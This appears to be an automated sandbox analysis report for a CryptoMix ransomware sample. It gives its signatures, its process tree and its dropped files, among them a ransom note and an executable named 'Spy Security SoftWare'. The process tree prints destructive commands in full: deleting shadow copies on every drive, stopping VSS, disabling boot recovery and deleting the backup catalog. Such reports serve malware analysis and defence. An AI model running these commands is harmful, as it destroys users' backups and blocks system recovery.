Resubmissions

03/09/2026, 09:58

260903-lzl6xseq7w10

26/07/2021, 12:57

210726-nxkbx8kb9n10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/09/2026, 09:58

General

  • Target
    f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270.exe
  • Size 82KB
  • Sample260903-lzl6xseq7w
  • SHA256 f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: CryptoMix

    Ransomware first seen in 2016 which has returned with new variants in 2019.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 32 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270.exe
    "C:\Users\Admin\AppData\Local\Temp\f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2004
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=Z: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:4236
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=Y: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=X: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:4516
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=W: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=V: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1132
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=U: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2696
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=T: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:968
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=S: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1136
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=R: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=Q: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3516
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=P: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2364
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=O: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:4596
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=N: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3356
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=M: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:4920
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=L: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5852
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=K: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5084
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=J: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1140
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=I: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2540
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=H: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=G: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=F: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5244
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=E: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:260
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=D: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3544
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=C: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:5488
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=B: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:4244
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin Delete Shadows /For=A: /All /Quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:1684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C net stop vss
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3576
      • C:\Windows\SysWOW64\net.exe
        net stop vss
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop vss
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1056
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled No
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3424
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:2496
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:952
    • C:\Windows\SysWOW64\NOTEPAD.EXE
      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Music\INSTRUCTION RESTORE FILE.TXT
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      PID:3752
  • C:\Users\Admin\AppData\Local\Temp\f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270.exe
    "C:\Users\Admin\AppData\Local\Temp\f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4396
  • C:\ProgramData\Spy Security SoftWare_1c9b74ea_7833ca48.exe
    "C:\ProgramData\Spy Security SoftWare_1c9b74ea_7833ca48.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:1572
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1632

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        Spy Security SoftWare_1c9b74ea_7833ca48.exe

        • Path C:\ProgramData\Spy Security SoftWare_1c9b74ea_7833ca48.exe
        • Size 82KB
        • SHA256 f8751c14c6f14239d867b21ea1229eeddfa052aeab22b25e158131a118628270
        • MD5 SHA1 SHA512 SSDEEP TLSH

        INSTRUCTION RESTORE FILE.TXT

        • Path C:\Users\Admin\INSTRUCTION RESTORE FILE.TXT
        • Size 1KB
        • SHA256 cc2acf45c1dce23e358588506ee47780f20ace0fac9e4c6d95228c66daabd3d6
        • MD5 SHA1 SHA512 TLSH

        memory/1572-3-0x0000000000EB0000-0x0000000000EBB000-memory.dmp

        memory/4132-0-0x0000000000E90000-0x0000000000E9B000-memory.dmp

        memory/4132-4-0x0000000000E90000-0x0000000000E9B000-memory.dmp

        memory/4132-289-0x0000000000E90000-0x0000000000E9B000-memory.dmp

        memory/4396-2-0x00000000030C0000-0x00000000030CB000-memory.dmp